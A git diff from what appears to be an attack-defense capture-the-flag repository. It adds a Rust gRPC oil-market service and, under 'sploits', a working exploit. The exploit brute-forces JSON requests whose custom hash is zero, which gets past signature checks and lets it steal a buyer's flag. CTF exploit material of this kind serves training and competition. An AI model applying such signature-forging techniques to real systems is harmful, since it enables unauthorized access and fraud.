DB_CONNECT_TIMEOUT: Duration = Duration::from_secs(5); +const DB_REQUEST_TIMEOUT: Duration = Duration::from_secs(5); +const DB_MAX_CONNECTIONS: u32 = 64; +const DB_URL: &str = "postgres://oilmarket:oilmarket@postgres/oilmarket"; + + +#[tokio::main] +async fn main() -> anyhow::Result<()> { + let addr = "0.0.0.0:2112".parse()?; + let service = service::Oilmarket::new(DB::connect( + DB_URL, + DB_CONNECT_TIMEOUT, + DB_REQUEST_TIMEOUT, + DB_MAX_CONNECTIONS, + ).await? ); + + println!("listening on {}", addr); + + Server::builder() + .add_service(OilmarketServer::new(service)) + .serve(addr) + .await?; + + Ok(()) +} diff --git a/services/oilmarket/oilmarket/src/service.rs b/services/oilmarket/oilmarket/src/service.rs new file mode 100644 index 0000000..059e33a --- /dev/null +++ b/services/oilmarket/oilmarket/src/service.rs @@ -0,0 +1,210 @@ +use std::str::FromStr; + +use tonic::{Request, Response, Status, async_trait}; +use uuid::Uuid; +use serde_json; +use serde::{Deserialize,Serialize}; +use std::error::Error; +use crate::{grpc, crypto}; +use crate::db::DB; + +pub struct Oilmarket { + db: DB, +} + +#[derive(Serialize, Deserialize, Debug)] +struct SellRequest { + barrel_id: i32, +} + +fn anyhow_to_status(err: anyhow::Error) -> Status { + Status::internal(err.to_string()) +} + +fn err_to_status(err: impl Error) -> Status { + Status::internal(err.to_string()) +} + +fn parse_api_key(api_key: &str) -> Result { + match Uuid::from_str(api_key) { + Ok(uuid) => Ok(uuid), + Err(_) => Err(Status::unauthenticated("invalid uuid")), + } +} + +impl Oilmarket { + pub fn new(db: DB) -> Self { + Self { + db + } + } +} + +#[async_trait] +impl grpc::oilmarket_server::Oilmarket for Oilmarket { + async fn sign( + &self, + request: Request, + ) -> Result, Status> { + let request_body = request.into_inner(); + + let api_key = parse_api_key(&request_body.api_key)?; + + let attester = match self.db.get_attester_by_api_key(&api_key).await.map_err(anyhow_to_status)? { + Some(attester) => attester, + None => return Err(Status::unauthenticated("invalid api key")), + }; + + let key: crypto::Key = serde_json::from_str(&attester.key).map_err(err_to_status)?; + let signature = key.sign(&request_body.request); + let resp = grpc::SignResponse { + signature, + }; + + Ok(Response::new(resp)) + + } + + async fn sell( + &self, + request: Request, + ) -> Result, Status> { + + let request_body = request.into_inner(); + + let api_key = parse_api_key(&request_body.api_key)?; + + + let seller = match self.db.get_seller_by_api_key(&api_key).await.map_err(anyhow_to_status)? { + Some(seller) => seller, + None => return Err(Status::unauthenticated("invalid api key")), + }; + let buyer = match self.db.get_buyer_by_name(&request_body.buyer).await.map_err(anyhow_to_status)? { + Some(buyer) => buyer, + None => return Err(Status::not_found(format!("buyer {} does not exist", request_body.buyer))), + }; + let attester = match self.db + .get_attester_by_name(&request_body.attester) + .await.map_err(anyhow_to_status)? { + Some(attester) => attester, + None => return Err( + Status::not_found(format!("attester {} does not exist", request_body.attester)) + ), + }; + + if buyer.attesters.iter().filter(|ba| ba.name == attester.name).count() == 0 { + return Err(Status::permission_denied("buyer does not accept this attester")); + } + + let key: crypto::Key = serde_json::from_str(&attester.key).map_err(err_to_status)?; + if !key.verify(&request_body.signature, &request_body.request) { + return Err(Status::permission_denied("signature verification failed")); + } + let sell_request: SellRequest = serde_json::from_slice(&request_body.request).map_err(err_to_status)?; + + if !seller.barrels.iter().any(|b| *b == sell_request.barrel_id) { + return Err(Status::permission_denied("you do not own this barrel")); + } + + self.db.remove_barrel(sell_request.barrel_id).await.map_err(anyhow_to_status)?; + + let resp = grpc::SellResponse { + flag: buyer.flag, + }; + + Ok(Response::new(resp)) + + } + async fn create_buyer( + &self, + request: Request, + ) -> Result, Status> { + + let request_body = request.into_inner(); + + let mut attesters = Vec::new(); + + if request_body.attesters.is_empty() { + return Err(Status::invalid_argument("at least one attester must be present")) + } + + for attester_name in request_body.attesters.iter() { + match self.db.get_attester_by_name(attester_name).await.map_err(anyhow_to_status)? { + Some(attester) => attesters.push(attester), + None => return Err(Status::not_found(format!("attester {attester_name} does not exist"))), + }; + } + + let api_key = Uuid::new_v4(); + if !self.db + .create_buyer(&request_body.name, &api_key, &request_body.flag, &attesters) + .await.map_err(anyhow_to_status)? { + Err(Status::already_exists("buyer with this name already exists")) + } else { + let resp = grpc::ApiKeyResponse { + api_key: api_key.into(), + }; + Ok(Response::new(resp)) + } + + } + async fn create_attester( + &self, + request: Request, + ) -> Result, Status> { + let request_body = request.into_inner(); + + let key = serde_json::to_string(&crypto::Key::random_key()).map_err(err_to_status)?; + let api_key = Uuid::new_v4(); + + if !self.db.create_attester(&request_body.name, &api_key, &key).await.map_err(anyhow_to_status)? { + Err(Status::already_exists("seller with this name already exists")) + } else { + let resp = grpc::ApiKeyResponse { + api_key: api_key.into(), + }; + Ok(Response::new(resp)) + } + } + + async fn create_seller( + &self, + request: Request, + ) -> Result, Status> { + let request_body = request.into_inner(); + let api_key = Uuid::new_v4(); + + if !self.db.create_seller(&request_body.name, &api_key).await.map_err(anyhow_to_status)? { + Err(Status::already_exists("seller with this name already exists")) + } else { + let resp = grpc::ApiKeyResponse { + api_key: api_key.into(), + }; + Ok(Response::new(resp)) + } + } + + async fn add_barrel( + &self, + request: Request, + ) -> Result< + Response, + Status, + > { + let request_body = request.into_inner(); + let api_key = parse_api_key(&request_body.api_key)?; + let seller = match self.db.get_seller_by_api_key(&api_key).await.map_err(anyhow_to_status)? { + Some(seller) => seller, + None => return Err(Status::unauthenticated("invalid api key")), + }; + let barrel_id = self.db.add_barrel(&seller).await.map_err(anyhow_to_status)?; + + let resp = grpc::AddBarrelResponse { + id: barrel_id + }; + + Ok(Response::new(resp)) + } + +} + diff --git a/services/oilmarket/postgres/init-db.sh b/services/oilmarket/postgres/init-db.sh new file mode 100755 index 0000000..743bfea --- /dev/null +++ b/services/oilmarket/postgres/init-db.sh @@ -0,0 +1,36 @@ +#!/bin/sh + +psql --username oilmarket --dbname oilmarket <<-EOSQL + CREATE TABLE IF NOT EXISTS buyers ( + id SERIAL PRIMARY KEY, + name VARCHAR UNIQUE NOT NULL, + flag VARCHAR NOT NULL, + api_key uuid UNIQUE NOT NULL + ); + + CREATE TABLE IF NOT EXISTS attesters ( + id SERIAL PRIMARY KEY, + name VARCHAR UNIQUE NOT NULL, + api_key uuid UNIQUE NOT NULL, + key TEXT NOT NULL + ); + + CREATE TABLE IF NOT EXISTS buyer_attester ( + buyer_id INTEGER REFERENCES buyers(id), + attester_id INTEGER REFERENCES attesters(id), + PRIMARY KEY(buyer_id, attester_id) + ); + + CREATE TABLE IF NOT EXISTS sellers ( + id SERIAL PRIMARY KEY, + name VARCHAR UNIQUE NOT NULL, + api_key uuid UNIQUE NOT NULL + ); + + CREATE TABLE IF NOT EXISTS barrels ( + id SERIAL PRIMARY KEY, + seller_id INTEGER REFERENCES sellers(id) + ); + +EOSQL + diff --git a/sploits/example/unprotected_read.py b/sploits/example/unprotected_read.py deleted file mode 100755 index 8b62dc1..0000000 --- a/sploits/example/unprotected_read.py +++ /dev/null @@ -1,15 +0,0 @@ -#!/usr/bin/env python3 - -import sys -import requests - -ip = sys.argv[1] -hint = sys.argv[2] - -url = f"http://{ip}:1337/get_note" - -r = requests.post(url, json={ - "name": hint, -}) - -print(r.json()["note"], flush=True) diff --git a/sploits/oilmarket/brute/Cargo.lock b/sploits/oilmarket/brute/Cargo.lock new file mode 100644 index 0000000..dde8f89 --- /dev/null +++ b/sploits/oilmarket/brute/Cargo.lock @@ -0,0 +1,350 @@ +# This file is automatically @generated by Cargo. +# It is not intended for manual editing. +version = 3 + +[[package]] +name = "anstream" +version = "0.6.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2ab91ebe16eb252986481c5b62f6098f3b698a45e34b5b98200cf20dd2484a44" +dependencies = [ + "anstyle", + "anstyle-parse", + "anstyle-query", + "anstyle-wincon", + "colorchoice", + "utf8parse", +] + +[[package]] +name = "anstyle" +version = "1.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7079075b41f533b8c61d2a4d073c4676e1f8b249ff94a393b0595db304e0dd87" + +[[package]] +name = "anstyle-parse" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "317b9a89c1868f5ea6ff1d9539a69f45dffc21ce321ac1fd1160dfa48c8e2140" +dependencies = [ + "utf8parse", +] + +[[package]] +name = "anstyle-query" +version = "1.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5ca11d4be1bab0c8bc8734a9aa7bf4ee8316d462a08c6ac5052f888fef5b494b" +dependencies = [ + "windows-sys", +] + +[[package]] +name = "anstyle-wincon" +version = "3.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f0699d10d2f4d628a98ee7b57b289abbc98ff3bad977cb3152709d4bf2330628" +dependencies = [ + "anstyle", + "windows-sys", +] + +[[package]] +name = "brute" +version = "0.1.0" +dependencies = [ + "clap", + "itertools", + "rand", + "serde", + "serde_json", +] + +[[package]] +name = "cfg-if" +version = "1.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd" + +[[package]] +name = "clap" +version = "4.4.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "41fffed7514f420abec6d183b1d3acfd9099c79c3a10a06ade4f8203f1411272" +dependencies = [ + "clap_builder", + "clap_derive", +] + +[[package]] +name = "clap_builder" +version = "4.4.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "63361bae7eef3771745f02d8d892bec2fee5f6e34af316ba556e7f97a7069ff1" +dependencies = [ + "anstream", + "anstyle", + "clap_lex", + "strsim", +] + +[[package]] +name = "clap_derive" +version = "4.4.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cf9804afaaf59a91e75b022a30fb7229a7901f60c755489cc61c9b423b836442" +dependencies = [ + "heck", + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "clap_lex" +version = "0.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "702fc72eb24e5a1e48ce58027a675bc24edd52096d5397d4aea7c6dd9eca0bd1" + +[[package]] +name = "colorchoice" +version = "1.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "acbf1af155f9b9ef647e42cdc158db4b64a1b61f743629225fde6f3e0be2a7c7" + +[[package]] +name = "either" +version = "1.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a26ae43d7bcc3b814de94796a5e736d4029efb0ee900c12e2d54c993ad1a1e07" + +[[package]] +name = "getrandom" +version = "0.2.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fe9006bed769170c11f845cf00c7c1e9092aeb3f268e007c3e760ac68008070f" +dependencies = [ + "cfg-if", + "libc", + "wasi", +] + +[[package]] +name = "heck" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "95505c38b4572b2d910cecb0281560f54b440a19336cbbcb27bf6ce6adc6f5a8" + +[[package]] +name = "itertools" +version = "0.12.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "25db6b064527c5d482d0423354fcd07a89a2dfe07b67892e62411946db7f07b0" +dependencies = [ + "either", +] + +[[package]] +name = "itoa" +version = "1.0.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "af150ab688ff2122fcef229be89cb50dd66af9e01a4ff320cc137eecc9bacc38" + +[[package]] +name = "libc" +version = "0.2.150" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "89d92a4743f9a61002fae18374ed11e7973f530cb3a3255fb354818118b2203c" + +[[package]] +name = "ppv-lite86" +version = "0.2.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5b40af805b3121feab8a3c29f04d8ad262fa8e0561883e7653e024ae4479e6de" + +[[package]] +name = "proc-macro2" +version = "1.0.70" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "39278fbbf5fb4f646ce651690877f89d1c5811a3d4acb27700c1cb3cdb78fd3b" +dependencies = [ + "unicode-ident", +] + +[[package]] +name = "quote" +version = "1.0.33" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5267fca4496028628a95160fc423a33e8b2e6af8a5302579e322e4b520293cae" +dependencies = [ + "proc-macro2", +] + +[[package]] +name = "rand" +version = "0.8.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "34af8d1a0e25924bc5b7c43c079c942339d8f0a8b57c39049bef581b46327404" +dependencies = [ + "libc", + "rand_chacha", + "rand_core", +] + +[[package]] +name = "rand_chacha" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e6c10a63a0fa32252be49d21e7709d4d4baf8d231c2dbce1eaa8141b9b127d88" +dependencies = [ + "ppv-lite86", + "rand_core", +] + +[[package]] +name = "rand_core" +version = "0.6.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ec0be4795e2f6a28069bec0b5ff3e2ac9bafc99e6a9a7dc3547996c5c816922c" +dependencies = [ + "getrandom", +] + +[[package]] +name = "ryu" +version = "1.0.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1ad4cc8da4ef723ed60bced201181d83791ad433213d8c24efffda1eec85d741" + +[[package]] +name = "serde" +version = "1.0.193" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "25dd9975e68d0cb5aa1120c288333fc98731bd1dd12f561e468ea4728c042b89" +dependencies = [ + "serde_derive", +] + +[[package]] +name = "serde_derive" +version = "1.0.193" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "43576ca501357b9b071ac53cdc7da8ef0cbd9493d8df094cd821777ea6e894d3" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "serde_json" +version = "1.0.108" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3d1c7e3eac408d115102c4c24ad393e0821bb3a5df4d506a80f85f7a742a526b" +dependencies = [ + "itoa", + "ryu", + "serde", +] + +[[package]] +name = "strsim" +version = "0.10.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "73473c0e59e6d5812c5dfe2a064a6444949f089e20eec9a2e5506596494e4623" + +[[package]] +name = "syn" +version = "2.0.39" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "23e78b90f2fcf45d3e842032ce32e3f2d1545ba6636271dcbf24fa306d87be7a" +dependencies = [ + "proc-macro2", + "quote", + "unicode-ident", +] + +[[package]] +name = "unicode-ident" +version = "1.0.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3354b9ac3fae1ff6755cb6db53683adb661634f67557942dea4facebec0fee4b" + +[[package]] +name = "utf8parse" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "711b9620af191e0cdc7468a8d14e709c3dcdb115b36f838e601583af800a370a" + +[[package]] +name = "wasi" +version = "0.11.0+wasi-snapshot-preview1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9c8d87e72b64a3b4db28d11ce29237c246188f4f51057d65a7eab63b7987e423" + +[[package]] +name = "windows-sys" +version = "0.48.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "677d2418bec65e3338edb076e806bc1ec15693c5d0104683f2efe857f61056a9" +dependencies = [ + "windows-targets", +] + +[[package]] +name = "windows-targets" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9a2fa6e2155d7247be68c096456083145c183cbbbc2764150dda45a87197940c" +dependencies = [ + "windows_aarch64_gnullvm", + "windows_aarch64_msvc", + "windows_i686_gnu", + "windows_i686_msvc", + "windows_x86_64_gnu", + "windows_x86_64_gnullvm", + "windows_x86_64_msvc", +] + +[[package]] +name = "windows_aarch64_gnullvm" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2b38e32f0abccf9987a4e3079dfb67dcd799fb61361e53e2882c3cbaf0d905d8" + +[[package]] +name = "windows_aarch64_msvc" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dc35310971f3b2dbbf3f0690a219f40e2d9afcf64f9ab7cc1be722937c26b4bc" + +[[package]] +name = "windows_i686_gnu" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a75915e7def60c94dcef72200b9a8e58e5091744960da64ec734a6c6e9b3743e" + +[[package]] +name = "windows_i686_msvc" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8f55c233f70c4b27f66c523580f78f1004e8b5a8b659e05a4eb49d4166cca406" + +[[package]] +name = "windows_x86_64_gnu" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "53d40abd2583d23e4718fddf1ebec84dbff8381c07cae67ff7768bbf19c6718e" + +[[package]] +name = "windows_x86_64_gnullvm" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0b7b52767868a23d5bab768e390dc5f5c55825b6d30b86c844ff2dc7414044cc" + +[[package]] +name = "windows_x86_64_msvc" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ed94fce61571a4006852b7389a063ab983c02eb1bb37b47f8272ce92d06d9538" diff --git a/sploits/oilmarket/brute/Cargo.toml b/sploits/oilmarket/brute/Cargo.toml new file mode 100644 index 0000000..91f1471 --- /dev/null +++ b/sploits/oilmarket/brute/Cargo.toml @@ -0,0 +1,13 @@ +[package] +name = "brute" +version = "0.1.0" +edition = "2021" + +# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html + +[dependencies] +itertools = "0.12.0" +clap = { version = "4.4.0", features = ["derive"] } +rand = "0.8.0" +serde = { version = "1.0", features = ["derive"] } +serde_json = "1.0" diff --git a/sploits/oilmarket/brute/src/hash.rs b/sploits/oilmarket/brute/src/hash.rs new file mode 120000 index 0000000..f0d542a --- /dev/null +++ b/sploits/oilmarket/brute/src/hash.rs @@ -0,0 +1 @@ +../../../../services/oilmarket/oilmarket/src/crypto/hash.rs \ No newline at end of file diff --git a/sploits/oilmarket/brute/src/main.rs b/sploits/oilmarket/brute/src/main.rs new file mode 100644 index 0000000..5f04c4e --- /dev/null +++ b/sploits/oilmarket/brute/src/main.rs @@ -0,0 +1,107 @@ +mod hash; + +use std::io::Write; +use std::vec::Vec; +use std::io; + +use serde::{Serialize,Deserialize}; +use rand::seq::SliceRandom; +use rand::thread_rng; +use itertools; +use clap::Parser; + +use hash::Hash; + +#[derive(Parser)] +struct Args { + id: u32, +} + +#[derive(Serialize,Deserialize)] +struct SellRequest { + barrel_id: i32, +} + + +fn values_to_slice(start: &[u8], end: &[u8], values: &[u32]) -> Vec { + + let mut slice = start.to_vec(); + + + for value in values.iter() { + slice.extend_from_slice(&value.to_le_bytes()); + } + slice.extend_from_slice(end); + + slice +} + +fn does_deserialize(slice: &[u8]) -> bool { + match serde_json::from_slice::(slice) { + Ok(_) => true, + Err(_) => false, + } +} + +fn main() { + let args = Args::parse(); + let json_start: Vec = { + let mut json_start: Vec = ( + "{\"barrel_id\":".to_owned() + + &args.id.to_string() + + ",\"kek\":\"" + ).into(); + while json_start.len() % 64 != 0 { + json_start.push(b'a'); + } + json_start + }; + let json_end: Vec = "\"}".into(); + + + let mut possible_values: Vec> = vec![vec![0; 8]]; + + let mut rng = thread_rng(); + + for i in 0..32 { + // println!("{i} {}", possible_values.len()); + let mut new_possible_values: Vec> = Vec::new(); + for values in possible_values.iter() { + for bits in itertools::iproduct!(0..2, 0..2, 0..2, 0..2, 0..2, 0..2, 0..2, 0..2) { + let bits = [bits.0, bits.1, bits.2, bits.3, bits.4, bits.5, bits.6, bits.7]; + + + let new_values: Vec = bits.into_iter().zip(values).map(|(bit, v)| v | (bit << i)).collect(); + let to_hash = values_to_slice(&json_start, &json_end, &new_values); + + let mut hash = Hash::new(); + hash.update(&to_hash); + let hash_values = hash.digest_values(); + + let and_modulo = (0u32).wrapping_sub(1) >> (31 - i); + if hash_values.iter().all(|v| v & and_modulo == 0) { + new_possible_values.push(new_values); + } + } + } + new_possible_values.shuffle(&mut rng); + + possible_values = new_possible_values + .into_iter() + .take(1000) + .collect(); + } + + possible_values = possible_values + .into_iter() + .filter(|values| does_deserialize(&values_to_slice(&json_start, &json_end, &values))) + .collect(); + let output = values_to_slice(&json_start, &json_end, &possible_values[0]); + + let mut hash = Hash::new(); + hash.update(&output); + let digest = hash.digest(); + + assert_eq!(digest, b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"); + io::stdout().lock().write_all(&output).unwrap(); +} diff --git a/sploits/oilmarket/brute_hash b/sploits/oilmarket/brute_hash new file mode 100755 index 0000000..e8f8f4b Binary files /dev/null and b/sploits/oilmarket/brute_hash differ diff --git a/sploits/oilmarket/oilmarket_pb2.py b/sploits/oilmarket/oilmarket_pb2.py new file mode 120000 index 0000000..3f54b59 --- /dev/null +++ b/sploits/oilmarket/oilmarket_pb2.py @@ -0,0 +1 @@ +../../checkers/oilmarket/oilmarket_pb2.py \ No newline at end of file diff --git a/sploits/oilmarket/oilmarket_pb2.pyi b/sploits/oilmarket/oilmarket_pb2.pyi new file mode 120000 index 0000000..ea0e312 --- /dev/null +++ b/sploits/oilmarket/oilmarket_pb2.pyi @@ -0,0 +1 @@ +../../checkers/oilmarket/oilmarket_pb2.pyi \ No newline at end of file diff --git a/sploits/oilmarket/oilmarket_pb2_grpc.py b/sploits/oilmarket/oilmarket_pb2_grpc.py new file mode 120000 index 0000000..ff79412 --- /dev/null +++ b/sploits/oilmarket/oilmarket_pb2_grpc.py @@ -0,0 +1 @@ +../../checkers/oilmarket/oilmarket_pb2_grpc.py \ No newline at end of file diff --git a/sploits/oilmarket/sploit.py b/sploits/oilmarket/sploit.py new file mode 100755 index 0000000..c9bae0c --- /dev/null +++ b/sploits/oilmarket/sploit.py @@ -0,0 +1,34 @@ +#!/usr/bin/env python3 + +import sys +import json +import subprocess as sb +from checklib import * + +import grpc +from oilmarket_pb2 import * +from oilmarket_pb2_grpc import OilmarketStub + +PORT = 2112 +HOST = f"{sys.argv[1]}:{PORT}" +HINT = json.loads(sys.argv[2]) + +def main(): + with grpc.insecure_channel(HOST) as channel: + stub = OilmarketStub(channel) + api_key = stub.CreateSeller(CreateSellerRequest(name=rnd_username())).api_key + barrel_id = stub.AddBarrel(AddBarrelRequest(api_key=api_key)).id + + request = sb.check_output(["./brute_hash", str(barrel_id)]) + print(request) + print(stub.Sell(SellRequest( + api_key=api_key, + buyer=HINT["buyer"], + attester=HINT["attester"], + request=request, + signature=b'\x00' * 1, + + ))) + +if __name__ == "__main__": + main()